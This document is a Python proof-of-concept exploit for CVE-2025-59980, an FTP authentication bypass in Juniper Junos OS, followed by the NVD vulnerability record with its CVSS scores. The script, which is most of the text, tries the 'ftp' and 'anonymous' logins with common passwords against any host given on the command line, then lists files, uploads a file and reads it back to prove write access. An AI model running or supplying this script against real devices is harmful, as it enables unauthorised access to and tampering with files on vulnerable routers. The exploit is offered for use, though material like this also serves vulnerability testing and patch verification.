CVE-2025-59980

# CVE-2025-59980 PoC - Juniper Junos OS FTP Authentication Bypass # This PoC demonstrates the authentication bypass vulnerability in Juniper Junos OS FTP server # When a user named "ftp" or "anonymous" is configured, login succeeds without password verification import ftplib import sys def exploit_ftp_bypass(target_host, target_port=21): """ Exploit CVE-2025-59980: FTP Authentication Bypass on Juniper Junos OS """ bypass_users = ["ftp", "anonymous"] # Try empty password or arbitrary password (traditional anonymous convention) bypass_passwords = ["", "[email protected]", "ftp", "guest"] for username in bypass_users: for password in bypass_passwords: try: print(f"[*] Trying username='{username}', password='{password}'") ftp = ftplib.FTP() ftp.connect(target_host, target_port, timeout=10) # Attempt login with bypass credentials response = ftp.login(username, password) print(f"[+] Bypass successful! Server response: {response}") # Demonstrate read-write access to home directory print(f"[*] Current directory: {ftp.pwd()}") # List files in home directory print("[*] Directory listing:") files = [] ftp.dir(files.append) for f in files: print(f" {f}") # Write test file to demonstrate write access test_filename = "poc_test_file.txt" test_content = b"CVE-2025-59980 PoC - Authentication Bypass Confirmed" from io import BytesIO ftp.storbinary(f"STOR {test_filename}", BytesIO(test_content)) print(f"[+] Successfully uploaded {test_filename} (write access confirmed)") # Read the uploaded file back to confirm round-trip from io import StringIO buffer = StringIO() ftp.retrlines(f"RETR {test_filename}", buffer.write) print(f"[+] File content read back: {buffer.getvalue().strip()}") # Cleanup ftp.delete(test_filename) ftp.quit() return True except ftplib.error_perm as e: print(f"[-] Login failed: {e}") continue except Exception as e: print(f"[-] Connection error: {e}") continue print("[-] All bypass attempts failed") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host> [target_port]") print(f"Example: {sys.argv[0]} 192.168.1.1 21") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 21 exploit_ftp_bypass(host, port)

{"cve": {"id": "CVE-2025-59980", "sourceIdentifier": "[email protected]", "published": "2025-10-09T17:15:59.427", "lastModified": "2026-01-23T18:37:47.893", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Authentication Bypass by Primary Weakness\n\nin the FTP server of Juniper Networks Junos OS allows an unauthenticated, network-based attacker to get limited read-write access to files on the device.\nWhen the FTP server is enabled and a user named \"ftp\" or \"anonymous\" is configured, that user can login without providing the configured password and then has read-write access to their home directory.\n\nThis issue affects Junos OS: \n\n\n\n * all versions before 22.4R3-S8,\n * 23.2 versions before 23.2R2-S3,\n * 23.4 versions before 23.4R2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": 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"modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": 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